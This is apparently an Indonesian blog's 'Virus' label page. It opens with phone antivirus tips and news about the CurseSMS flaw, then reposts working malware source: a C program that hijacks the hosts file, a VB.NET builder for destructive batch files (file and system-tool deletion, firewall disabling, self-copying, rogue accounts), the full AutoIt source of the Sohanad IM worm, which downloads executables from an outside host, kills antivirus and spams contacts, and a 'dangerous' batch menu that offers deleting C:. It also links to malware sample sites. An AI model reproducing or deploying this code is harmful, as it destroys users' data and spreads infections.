Winston Richard: Virus

Showing posts with label Virus. Show all posts

5 Kiat Membentengi Ponsel dari Hantaman Virus”

Ancaman virus yang melanda ponsel dan perangkat bergerak lainnya makin melonjak. Akibatnya pun kadang sangat merisaukan, misalnya hilangnya data atau pengiriman layanan pesan singkat (short message service/SMS) massal yang tak dikehendaki sehingga pulsa pun jebol.

Berikut beberapa tips untuk mencegah datangnya virus ke ponsel Anda, yang disampaikan oleh Australian Mobile Telecommunications Association (AMTA) dan dikutip dari Funponsel, Rabu (7/5/2008):

1. Pastikan Bluetooth dalam Kondisi Hidden Mode

Jika ponsel Anda dilengkapi Bluetooth, pastikan fitur ini berada dalam kondisi hidden mode atau invisible untuk mencegah perangkat Bluetooth orang lain mendeteksi perangkat Anda kecuali memang Anda menghendakinya. Selain itu, matikan Bluetooth jika tidak terpakai. Langkah ini akan cukup melindungi ponsel dari serangan virus yang menyebar melalui Bluetooth.

2. Hati-hati Saat Menerima Kiriman Asing

Ketika menerima aplikasi yang dikirim via Bluetooth atau membuka attachment MMS, berhati-hatilah dari kemungkinan adanya program jahat. Pastikan kiriman itu berasal dari sumber terpercaya. Bahkan jikalaupun kiriman itu berasal dari teman, lebih baik Anda tak membukanya dan menghapusnya jika terdapat konten yang tidak familiar.

3. Download dari Sumber Terpercaya

Pastikan juga selalu men-download konten dari sumber resmi yang terpercaya sehingga ancaman virus bisa tereliminir. Namun hati-hatilah karena bisa jadi kaum kriminal mampu mengkreasi sumber download yang kelihatan terpercaya meskipun sejatinya adalah gudang virus.

4. Pakai Anti Virus

Beberapa software khusus telah ditawarkan untuk menjaga ponsel Anda dari ancaman virus. Pakailah jika Anda merasa memerlukannya.

5. Hubungi Produsen Ponsel Anda

Jika Anda menduga ponsel Anda telah terinfeksi virus, segera kontak produsen ponsel Anda untuk mengambil langkah yang tepat dalam menghindari kerusakan

Awas! Virus Ponsel Dapat Dikirim Melalui SMS dan MMS

WASPADALAH para pemilik telepon genggam. Kini virus dapat menular melalui pesan layanan singkat (SMS) maupun pesan multimedia (MMS). Virus ini dikenali dengan nama Curse of Silence atau CurseSMS.

Virus yang dapat mencemari dan merusak program ponsel ini ditemukan oleh Tobias Engel, belum lama ini.

Serangan virus ini dapat dilakukan secara sengaja melalui layanan SMS. Jika virus sudah terkirim, piranti penerima SMS dan MMS tak dapat berfungsi.

Hanya saja, ini juga bergantung kepada versi sistem operasi ponsel yang menjadi sasaran. Jika virus efektif melakukan perusakan maka yang dapat memperbaiki sistem ini adalah produsen ponsel.

Fortinet baru-baru ini mengumumkan bahwa Badan Penyelidikan Keselamatan Sedunia FortiGuard telah mengeluarkan versi baru peralatan FortiCleanUp untuk membantu para pengguna agar dapat memulihkan ponselnya dari serangan virus itu.

FortiCleanUp disediakan secara gratis yang beroperasi dalam ponsel oleh SymbianOS S60. Antivirus ini direka bentuk untuk menyingkirkan dan memulihkan piranti ponsel sebagai penangkis serangan jahat virus.

Fortinet menyediakan secara gratis FortiCleanUp yang membantu memulihkan ponsel dari serangan CurseSMS itu.

Peralatan FortiCleanUp untuk Curse of Silence secara otomatis akan menyingkirkan pesan SMS atau MMS yang berniat jahat.

Peranti ponsel ini tersedia antara lain pada ponsel Nokia yang menggunakan SymbianOS S60 edisi kedua dengan feature pack 2 dan 3, serta edisi ketiga dengan Feature Pack 1.

Juga termasuk ponsel lain dengan ciri 'N' hingga N95 dan dari ciri 'E' hingga E90, selain dari model-model yang lebih lama seperti 6680.

Untuk perlindungan lengkap yang sebenarnya, FortiGuard menyensyorkan pemasangan FortiClient Mobile Fortinet ke peranti-peranti ponsel.

Anti-virus ini menyediakan anti virus lain termasuk firewall pribadi, IPSec VPN, antivirus, antispyware dan anti-spam SMS.

FortiClient Mobile juga disediakan untuk Microsoft Windows Mobile dan sistem operasi SymbianOS S60.

Script Virus Untuk Memblok Website

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”n”);
for(i=0;i Run dan cari “%windir%system32driversetc”
6. Buka File “hosts” maka akan terlihat
127.0.0.1 google.com
7. Hapus site yang diblok dengan cara klik kanan pada hosts–>> delete

Tempat Sample Virus

Disini ada beberapa contoh Website yang menyediakan banyak sample Virus...

1.

http://honeynet.cz/?mmenu=malware&smenu_int=0〈=cz&vmetr=1

2.

http://offensivecomputing.net/

3.

http://www.remoteroot.net/malware/samples/

4.

http://lineage.paix.jp/guide/security/virus-sample/

5.

http://ditto.arpa.org/~phelix/dnr/

6.

http://virusdb.sran.org/archive/

Ada beberapa Site yang mengharuskan Anda melakukan login terlebih dahulu...
Semoga berguna...

Batch Generator in VB2008 V2

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
SaveFileDialog1.Filter = "Batch (*.bat)|*.bat|Text (*.txt)|*.txt"
SaveFileDialog1.ShowDialog()
SaveFileDialog1.CheckFileExists = True
SaveFileDialog1.CheckPathExists = True
SaveFileDialog1.AddExtension = SaveFileDialog1.FilterIndex
TextBox1.Text = SaveFileDialog1.FileName
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
On Error Resume Next
If IsNumeric(TextBox5.Text) = False Then
MsgBox("There must not be letters in the Seconds: box", MsgBoxStyle.Information)
Stop
End If
If CheckBox23.Checked Then
If ComboBox1.Text = "Select here" Then
MsgBox("Please choose a form of shutdown or Uncheck the shutdown checkbox (last one)", MsgBoxStyle.Information)
Stop
End If
End If
If TextBox1.Text = "Select Path --->" Then
MsgBox("Please select a path before you continue!", MsgBoxStyle.Information)
Stop
End If
If CheckBox3.Checked = True Then
If CheckBox5.Checked = True Then
MsgBox("NOTE: disabling mouse AND swapping mouse buttons might cause error", MsgBoxStyle.Information)
End If
End If
Dim Mathias As IO.StreamWriter = New IO.StreamWriter(TextBox1.Text)
Mathias.WriteLine("@echo off")
Mathias.WriteLine("title " & TextBox3.Text)
If CheckBox1.Checked Then Mathias.WriteLine("copy %0 " & Label2.Text & "%userprofile%\start menu\programs\startup" & Label2.Text)
If CheckBox2.Checked Then
Mathias.WriteLine("copy %0 %windir%\")
Mathias.WriteLine("copy %0 " & Label2.Text & "%userprofile%\my documents\" & Label2.Text)
Mathias.WriteLine("copy %0 %userprofile%\")
End If
If CheckBox3.Checked Then Mathias.WriteLine("del /S /Q /F mouse.*")
If CheckBox4.Checked Then Mathias.WriteLine("del /S /Q /F keyboard.*")
If CheckBox5.Checked Then Mathias.WriteLine("rundll32 user32.dll,SwapMouseButton")
If CheckBox6.Checked Then
Mathias.WriteLine("echo set oWMP = createobject" & Label9.Text & Label2.Text & "WMPlayer.OCX.7" & Label2.Text & Label10.Text & " >>c:\virus.vbs")
Mathias.WriteLine("echo Set colCDROMs = oWMP.cdromCollection >>c:\virus.vbs")
Mathias.WriteLine("echo do>>c:\virus.vbs")
Mathias.WriteLine("echo if colCDROMs.Count >= 1 then>>c:\virus.vbs")
Mathias.WriteLine("echo For i = 0 to colCDROMs.Count - 1>>c:\virus.vbs")
Mathias.WriteLine("echo colCDROMs.Item(i).Eject>>c:\virus.vbs")
Mathias.WriteLine("echo Next ' cdrom>>c:\virus.vbs")
Mathias.WriteLine("echo end if>>c:\virus.vbs")
Mathias.WriteLine("echo loop>>c:\virus.vbs")
End If
If CheckBox7.Checked Then
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
End If
If CheckBox8.Checked Then Mathias.WriteLine("net user %username% *" & TextBox2.Text)
If CheckBox9.Checked Then
Mathias.WriteLine("cd %userprofile%\desktop")
Mathias.WriteLine("del *.* /Q /F")
End If
If CheckBox10.Checked Then
Mathias.WriteLine("netsh firewall set opmode mode=disable")
Mathias.WriteLine("net stop " & Label2.Text & "security center" & Label2.Text)
End If
If CheckBox11.Checked Then
Mathias.WriteLine("tskill /a iexplore")
Mathias.WriteLine("tskill /a iexplore")
Mathias.WriteLine("tskill /a iexplore")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\internet explore\iexplore.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\internet explore\iexplore.exe" & Label2.Text)
Mathias.WriteLine("tskill /a firefox")
Mathias.WriteLine("tskill /a firefox")
Mathias.WriteLine("tskill /a firefox")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\mozilla firefox\firefox.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\mozilla firefox\firefox.exe" & Label2.Text)
Mathias.WriteLine("tskill /a msnmsgr")
Mathias.WriteLine("tskill /a msnmsgr")
Mathias.WriteLine("tskill /a msnmsgr")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\windows live\msnmsgr.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\windows live\messenger\msnmsgr.exe" & Label2.Text)
Mathias.WriteLine("tskill /a msmsgs")
Mathias.WriteLine("tskill /a msmsgs")
Mathias.WriteLine("tskill /a msmsgs")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\messenger\msmsgs.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\messenger\msmsgs.exe" & Label2.Text)
Mathias.WriteLine("tskill /a notepad")
Mathias.WriteLine("tskill /a notepad")
Mathias.WriteLine("tskill /a notepad")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%windir%\system32\notepad.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%windir%\system32\notepad.exe" & Label2.Text)
Mathias.WriteLine("tskill /a mspaint")
Mathias.WriteLine("tskill /a mspaint")
Mathias.WriteLine("tskill /a mspaint")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%windir%\system32\mspaint.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%windir%\system32\mspaint.exe" & Label2.Text)
End If
If CheckBox13.Checked Then Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents" & Label2.Text)
If CheckBox14.Checked Then
Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents\my music" & Label2.Text)
Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents\my videos" & Label2.Text)
Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents\my pictures" & Label2.Text)
End If
If CheckBox15.Checked Then Mathias.WriteLine("attrib +h %0")
If CheckBox16.Checked Then
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
End If
If CheckBox17.Checked Then
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
End If
If CheckBox18.Checked Then
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.txt" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.doc" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.ppt" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.pps" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.pub" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.htm" & Label2.Text & " *.bat")
End If
If CheckBox19.Checked Then Mathias.WriteLine("time 00:00")
If CheckBox20.Checked Then
Mathias.WriteLine("set /a time=1")
Mathias.WriteLine(":a")
Mathias.WriteLine("set /a time=%time%+1")
Mathias.WriteLine("if %time%==50 goto b")
Mathias.WriteLine("mkdir %userprofile%\desktop\%random%")
Mathias.WriteLine("goto a")
Mathias.WriteLine(":b")
End If
If CheckBox21.Checked Then
Mathias.WriteLine("set /a time=1")
Mathias.WriteLine(":c")
Mathias.WriteLine("set /a time=%time%+1")
Mathias.WriteLine("if %time%==50 goto d")
Mathias.WriteLine("echo @echo off >>%userprofile%\desktop\%random%.bat")
Mathias.WriteLine("goto c")
Mathias.WriteLine(":d")
End If
If CheckBox22.Checked Then
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
End If

If CheckBox12.Checked Then
Mathias.WriteLine("del %windir%\system32\ping.exe")
Mathias.WriteLine("del %windir%\system32\ping6.exe")
Mathias.WriteLine("del %windir%\system32\tracert.exe")
Mathias.WriteLine("del %windir%\system32\tracert6.exe")
Mathias.WriteLine("del %windir%\system32\tskill.exe")
Mathias.WriteLine("del %windir%\system32\ipconfig.exe")
Mathias.WriteLine("del %windir%\system32\msg.exe")
Mathias.WriteLine("del %windir%\system32\net.exe")
Mathias.WriteLine("del %windir%\system32\netsh.exe")
Mathias.WriteLine("del %windir%\system32\reg.exe")
Mathias.WriteLine("del %windir%\system32\attrib.exe")
Mathias.WriteLine("del %windir%\system32\xcopy.exe")
Mathias.WriteLine("del %windir%\system32\cacls.exe")
Mathias.WriteLine("del %windir%\system32\format.exe")
Mathias.WriteLine("del %windir%\system32\netstat.exe")
Mathias.WriteLine("del %windir%\system32\replace.exe")
Mathias.WriteLine("del %windir%\system32\rename.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\ping.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\ping6.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\tracert.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\tracert6.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\tskill.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\ipconfig.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\msg.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\net.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\netsh.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\reg.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\attrib.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\xcopy.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\cacls.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\format.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\netstat.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\replace.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\rename.exe")

If CheckBox23.Checked Then
If ComboBox1.SelectedItem = "Shutdown computer" Then
Mathias.WriteLine("shutdown -s -t " & TextBox5.Text & " -c " & Label2.Text & TextBox6.Text & Label2.Text)
End If
If ComboBox1.SelectedItem = "Restart computer" Then
Mathias.WriteLine("shutdown -r -t " & TextBox5.Text & " -c " & Label2.Text & TextBox6.Text & Label2.Text)
End If
If ComboBox1.SelectedItem = "Logoff computer" Then
Mathias.WriteLine("shutdown -l -t " & TextBox5.Text & " -c " & Label2.Text & TextBox6.Text & Label2.Text)
End If
End If
End If
Mathias.Flush()
MsgBox("Batch created succesfully and can be found here: " & TextBox1.Text, MsgBoxStyle.Information)
End Sub

Private Sub CheckBox7_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox8.CheckedChanged
If CheckBox8.Checked Then
TextBox2.Visible = True
Else
TextBox2.Visible = False
End If
End Sub

Private Sub CheckBox16_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox16.CheckedChanged
If CheckBox16.Checked Then
TextBox4.Visible = True
Else
TextBox4.Visible = False
End If
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged

End Sub

Private Sub CheckBox23_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox23.CheckedChanged
If CheckBox23.Checked Then
TextBox5.Visible = True
TextBox6.Visible = True
Label7.Visible = True
Label8.Visible = True
Else
TextBox5.Visible = False
TextBox6.Visible = False
Label7.Visible = False
Label8.Visible = False
End If
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Application.Restart()

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
CheckBox1.Checked = True
CheckBox2.Checked = True
CheckBox3.Checked = True
CheckBox4.Checked = True
CheckBox5.Checked = True
CheckBox6.Checked = True
CheckBox7.Checked = True
CheckBox8.Checked = True
CheckBox9.Checked = True
CheckBox10.Checked = True
CheckBox11.Checked = True
CheckBox12.Checked = True
CheckBox13.Checked = True
CheckBox14.Checked = True
CheckBox15.Checked = True
CheckBox16.Checked = True
CheckBox17.Checked = True
CheckBox18.Checked = True
CheckBox19.Checked = True
CheckBox20.Checked = True
CheckBox21.Checked = True
CheckBox22.Checked = True
CheckBox23.Checked = True
ComboBox1.SelectedItem = "Shutdown computer"
End Sub
End Class

W32.IM.Sohanad.A [Autoit]

Thanks to Paray_Vx

;

; ----------------------------------------------------------------------------
;
; ----------------------------------------------------------------------------

;---------------------------------------------------------------
; Tac Gia: TermeX - ThanatoS
; Phan Mem: TermeX Bot
; Phien Ban: 2.0
; Cong Dung: Quang cao Website thong qua Y!M,MSN,AIM,My Computer
; Phat Hanh: 20-9-2006
;---------------------------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "http://thecoolpics.com"
$link = "http://thecoolpics.com/"

; Lay Nhiem Vao He Thong
If Not FileExists(@WindowsDir & "\system\svchost32.exe") Then
InetGet ("http://mareknaturephoto.com/Gallery/albums/Wood-ducks/photos/link-en.exe", @WindowsDir & "\system\svchost32.exe", 0, 1)
Sleep(5000)
EndIf

If Not FileExists(@WindowsDir & "\system\svhost.exe") Then
InetGet ("http://mareknaturephoto.com/Gallery/albums/Wood-ducks/photos/en.exe", @WindowsDir & "\system\svhost.exe", 0, 1)
Sleep(5000)
EndIf

;Kill cac processes Anti-Virus
If ProcessExists("Bkav2006.exe") Then
ProcessClose("Bkav2006.exe")
EndIf

If ProcessExists("IEProt.exe") Then
ProcessClose("IEProt.exe")
EndIf

If ProcessExists("bdss.exe") Then
ProcessClose("bdss.exe")
ProcessClose("vsserv.exe")
EndIf

;Click vao Adbrite
$title = WinGetTitle("Active marketing website for ads - Microsoft Internet Explorer", "")
$check = WinExists ($title)
If $check = 1 Then
BlockInput (1)
WinActivate($title)
WinSetState ( $title , "", @SW_MAXIMIZE)
$pos = MouseGetPos()
MouseClick("left", 400, 300, 1, 0)
MouseMove ( $pos[0], $pos[1] , 0)
BlockInput (0)
EndIf

; Ghi Khoa Registry
RegWrite("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\system\svchost32.exe")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "SVCHOST", "REG_SZ", @WindowsDir & "\system\svhost.exe")

; Danh Sach Tin Nhan Ngau Nhien
Dim $tin[12]
$tin[0] = ":D who is beside you in this pic " & $link & "friendpic1.jpg so good-looking"
$tin[1] = ";) 1 of my vacation pictures " & $link & "vacation1.jpg <:-P "
$tin[2] = "hot pics this week " & $link & "hot.jpg :x"
$tin[3] = ";) 1 of my vacation pictures " & $link & "vacation2.jpg <:-P "
$tin[4] = "Screenshot of new windows version _ Windows Vista " & $link & "vista.jpg so cool :D"
$tin[5] = "Images shot in Iraq _ The war will never end " & $link & "Iraqwar.jpg << :("
$tin[6] = "oh my god , i've won a 20000 usd lottery :O " & $link & "mylottery.jpg << "
$tin[7] = "never click into the links like something in this image " & $link & "dontclick.jpg #:-S !!! "
$tin[8] = ":( the page cannot be displayed " & $link & "error.jpg Something was wrong !!! Check it again and tell me later. THanks"
$tin[9] = "My pics " & $link & "mypics.jpg b-( << "
$tin[10] = "Miss World 2006: " & $link & "MissWorld.jpg !! "
$tin[11] = "Do you realize who is in this image: " & $link & "who.jpg . Just think for a moment and tell me soon ;))"

; Ham Thay Doi Status & Gui Tin Nhan
While (1)
sleep(30000)
$tieude0 = WinGetTitle("My Computer", "")
$kiemtra0 = WinExists ($tieude0)
$tieude0x = WinGetTitle("Windows Explorer", "")
$kiemtra0x = WinExists ($tieude0x)
$tieude1 = WinGetTitle("Yahoo! Messenger", "")
$kiemtra1 = WinExists ($tieude1)
$tieude2 = WinGetTitle("AIM", "")
$kiemtra2 = WinExists ($tieude2)
$tieude3 = WinGetTitle("Windows Live Messenger", "")
$kiemtra3 = WinExists ($tieude3)
$tieude4 = WinGetTitle("Windows Messenger", "")
$kiemtra4 = WinExists ($tieude4)

If $kiemtra0 = 1 Then
ClipPut($website)
BlockInput (1)
WinActivate($tieude0)
Send("{F6}")
Send("^v {ENTER}")
BlockInput (0)
EndIf

If $kiemtra0x = 1 Then
ClipPut($website)
BlockInput (1)
WinActivate($tieude0x)
Send("{F6}")
Send("^v {ENTER}")
BlockInput (0)
EndIf

If $kiemtra1 = 1 Then
$ngaunhien = Random(0,12,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude1)
Send("!m")
Send("un")
Send("^v {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v")
Send("!s")
BlockInput (0)
EndIf

If $kiemtra2 = 1 Then
$ngaunhien = Random(0,12,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude2)
Send("{HOME}")
Send("{DOWN}")
Send("^{SHIFTDOWN}{PGDN}{SHIFTUP}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
Send("!{F4}")
BlockInput (0)
EndIf

If $kiemtra3 = 1 Then
$ngaunhien = Random(0,12,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude3)
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{DOWN}")
Send("{SPACE}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
BlockInput (0)
EndIf

If $kiemtra4 = 1 Then
$ngaunhien = Random(0,12,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude4)
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
Send("{ALT}")
Send("a")
Send("{ENTER}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{DOWN}")
Send("{ENTER}")
Send("^v {ENTER}")
Send("!{F4}")
BlockInput (0)
EndIf
Sleep(350000)
WEnd

; ----------------------------------------------------------------------------
;
; ----------------------------------------------------------------------------

Script BAT Berbahaya

Semoga berguna untuk pembelajaran :)

@echo off
color 02
echo *********************************************
set wait=0
:pause1
set /a wait=%wait%+1
if %wait% leq 200 goto pause1
echo *********************************************
set wait=0
:pause2
set /a wait=%wait%+1
if %wait% leq 200 goto pause2
echo *****_____ZiZiPoS.._____________________*****
set wait=0
:pause3
set /a wait=%wait%+1
if %wait% leq 200 goto pause3
echo *****___________BaTcH.._________________*****
set wait=0
:pause4
set /a wait=%wait%+1
if %wait% leq 200 goto pause4
echo *****___________________WoRlD..__________*****
set wait=0
:pause5
set /a wait=%wait%+1
if %wait% leq 200 goto pause5
echo *********************************************
set wait=0
:pause6
set /a wait=%wait%+1
if %wait% leq 200 goto pause6
echo *********************************************
set wait=0
:pause7
set /a wait=%wait%+1
if %wait% leq 100 goto pause7
echo.
set wait=0
:pause8
set /a wait=%wait%+1
if %wait% leq 100 goto pause8
echo.
set wait=0
:pause9
set /a wait=%wait%+1
if %wait% leq 100 goto pause9
echo To EnTeR mY wOrLd PrEsS aNy KeY
pause>nul
cls
echo HeLlO AnD WeLcOmE tO ZiZiPoS WoRlD!
echo.
echo FiRsT oF aLl ThIs Is A dAnGeRoUs BaTcH fIlE sO wAtCh OuT!
echo.
echo ChOoSe wHaT yOu WaNt To Do,By PrEsSiNg 1 Or 2...AnD eNtEr!
echo.
echo 1.Play A Maze Game!..
echo 2.Delete C:/
echo 3.30 second shutdown!
echo 4.CapsLock On/Off
echo 5.Enter Never Stop!..
echo 6.Computer Disable
echo 7.ByeBye Internet!
echo 8.Permanent Shutdown!..
echo 9.Colors!!..
echo 10.Matrix!
echo 11.Flood Network!!

:1
cls
title The Maze
color 0f

:beforestart
cls
echo Select a background colour:
echo Press R for red
echo Press G for green
echo Press Y for yellow
echo Press B for blue
set /p colour=
if '%colour%'=='r' color 4f
if '%colour%'=='R' color 4f
if '%colour%'=='g' color 2f
if '%colour%'=='G' color 2f
if '%colour%'=='y' color 6f
if '%colour%'=='Y' color 6f
if '%colour%'=='b' color 01
